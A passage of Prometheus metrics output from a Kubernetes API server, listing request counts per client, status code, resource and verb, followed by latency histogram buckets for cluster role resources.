,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ configmaps\ ,verb=\ get\ } 53\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ patch\ } 16\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ get\ } 5\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ list\ } 54\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ put\ } 639\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ watch\ } 588\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumeclaims\ ,verb=\ get\ } 120\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumes\ ,verb=\ get\ } 115\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ delete\ } 76\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ get\ } 207\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ put\ } 197\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ watch\ } 3\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ secrets\ ,verb=\ get\ } 2574\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ watch\ } 5\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ nodes\ ,verb=\ watchlist\ } 18\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ pods\ ,verb=\ watchlist\ } 20\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watchlist\ } 32\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ post\ } 200\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ configmaps\ ,verb=\ get\ } 208\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ patch\ } 2\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ delete\ } 1\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ get\ } 89\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 409\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ put\ } 2\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ configmaps\ ,verb=\ get\ } 2255\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ patch\ } 214\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ get\ } 34083\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ patch\ } 34042\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ watch\ } 6\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumeclaims\ ,verb=\ get\ } 3668\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumes\ ,verb=\ get\ } 3674\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ delete\ } 85\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ get\ } 1519\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ put\ } 1517\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ watch\ } 10\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ secrets\ ,verb=\ get\ } 121153\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ watch\ } 8\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ nodes\ ,verb=\ watch\ } 751\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ pods\ ,verb=\ watch\ } 979\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watch\ } 1076\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ post\ } 2617\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ post\ } 8\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ post\ } 10\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ configmaps\ ,verb=\ get\ } 12409\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ patch\ } 5\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ delete\ } 11\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ get\ } 270\r apiserver_request_count{client=\ kubelet/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 409\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ put\ } 17\r apiserver_request_count{client=\ mate/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ list\ } 1081\r apiserver_request_count{client=\ mate/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ watchlist\ } 26\r apiserver_request_count{client=\ mate/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ watch\ } 1081\r apiserver_request_count{client=\ mate/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ watchlist\ } 23\r apiserver_request_count{client=\ pod_nanny/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ pod_nanny/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ put\ } 2\r apiserver_request_count{client=\ pod_nanny/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ pod_nanny/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watchlist\ } 4\r apiserver_request_count{client=\ pod_nanny/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 3174\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ delete\ } 3\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ patch\ } 3\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ patch\ } 1\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ platformcredentialssets\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ platformcredentialssets\ ,verb=\ put\ } 2\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ patch\ } 3\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ thirdpartyresources\ ,verb=\ list\ } 7\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ post\ } 3\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ delete\ } 1\r apiserver_request_count{client=\ python-requests/2.12.4\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ python-requests/2.12.5\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ python-requests/2.12.5\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 599\r apiserver_request_count{client=\ python-requests/2.12.5\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ python-requests/2.12.5\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 599\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ daemonsets\ ,verb=\ list\ } 3646\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ list\ } 987\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ endpoints\ ,verb=\ list\ } 76977\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ jobs\ ,verb=\ delete\ } 181\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ jobs\ ,verb=\ list\ } 8\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watch\ } 508\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ list\ } 35\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 12137\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ delete\ } 156\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ list\ } 47\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 17650\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ replicasets\ ,verb=\ list\ } 3041\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ connect\ } 6482\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ list\ } 3416\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ statefulsets\ ,verb=\ list\ } 3425\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 200\ ,contenttype=\ text/html; charset=utf-8\ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 301\ ,contenttype=\ \ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ python-requests/2.13.0\ ,code=\ 503\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ connect\ } 32\r apiserver_request_count{client=\ rescheduler/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ rescheduler/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ list\ } 3\r apiserver_request_count{client=\ rescheduler/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ nodes\ ,verb=\ watch\ } 152\r apiserver_request_count{client=\ rescheduler/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ pods\ ,verb=\ watch\ } 469\r apiserver_request_count{client=\ secretary/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watch\ } 5\r apiserver_request_count{client=\ secretary/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ put\ } 15\r apiserver_request_count{client=\ secretary/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ serviceaccounts\ ,verb=\ get\ } 15\r apiserver_request_count{client=\ secretary/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watch\ } 111\r apiserver_request_count{client=\ secretary/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ put\ } 333\r apiserver_request_count{client=\ secretary/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ serviceaccounts\ ,verb=\ get\ } 333\r apiserver_request_count{client=\ unirest-java/1.3.11\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ platformcredentialssets\ ,verb=\ list\ } 566\r apiserver_request_count{client=\ unirest-java/1.3.11\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ get\ } 7888\r apiserver_request_count{client=\ unirest-java/1.3.11\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ put\ } 7961\r   help apiserver_request_latencies response latency distribution in microseconds for each verb, resource and client.\r   type apiserver_request_latencies histogram\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 125000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 250000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 500000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 1e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 2e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 4e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ 8e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ get\ ,le=\ +inf\ } 30\r apiserver_request_latencies_sum{resource=\ clusterrolebindings\ ,verb=\ get\ } 37213\r apiserver_request_latencies_count{resource=\ clusterrolebindings\ ,verb=\ get\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ clusterrolebindings\ ,verb=\ list\ } 1546\r apiserver_request_latencies_count{resource=\ clusterrolebindings\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 125000\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 250000\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 500000\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 1e+06\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 2e+06\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 4e+06\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ 8e+06\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ post\ ,le=\ +inf\ } 24\r apiserver_request_latencies_sum{resource=\ clusterrolebindings\ ,verb=\ post\ } 206842\r apiserver_request_latencies_count{resource=\ clusterrolebindings\ ,verb=\ post\ } 24\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 125000\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 250000\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 500000\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 1e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 2e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 4e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ 8e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterrolebindings\ ,verb=\ put\ ,le=\ +inf\ } 6\r apiserver_request_latencies_sum{resource=\ clusterrolebindings\ ,verb=\ put\ } 94392\r apiserver_request_latencies_count{resource=\ clusterrolebindings\ ,verb=\ put\ } 6\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 125000\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 250000\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 500000\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 1e+06\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 2e+06\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 4e+06\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ 8e+06\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ get\ ,le=\ +inf\ } 39\r apiserver_request_latencies_sum{resource=\ clusterroles\ ,verb=\ get\ } 266494\r apiserver_request_latencies_count{resource=\ clusterroles\ ,verb=\ get\ } 39\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ clusterroles\ ,verb=\ list\ } 3845\r apiserver_request_latencies_count{resource=\ clusterroles\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 125000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 250000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 500000\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 1e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 2e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 4e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ 8e+06\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ post\ ,le=\ +inf\ } 30\r apiserver_request_latencies_sum{resource=\ clusterroles\ ,verb=\ post\ } 208038\r apiserver_request_latencies_count{resource=\ clusterroles\ ,verb=\ post\ } 30\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 125000\ } 7\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 250000\ } 8\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 500000\ } 9\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 1e+06\ } 9\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 2e+06\ } 9\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 4e+06\ } 9\r apiserver_request_latencies_bucket{resource=\ clusterroles\ ,verb=\ put\ ,le=\ 8e+06\ } 9\r apiserver_request_latencies_bucket{resource=\ clusterroles\ 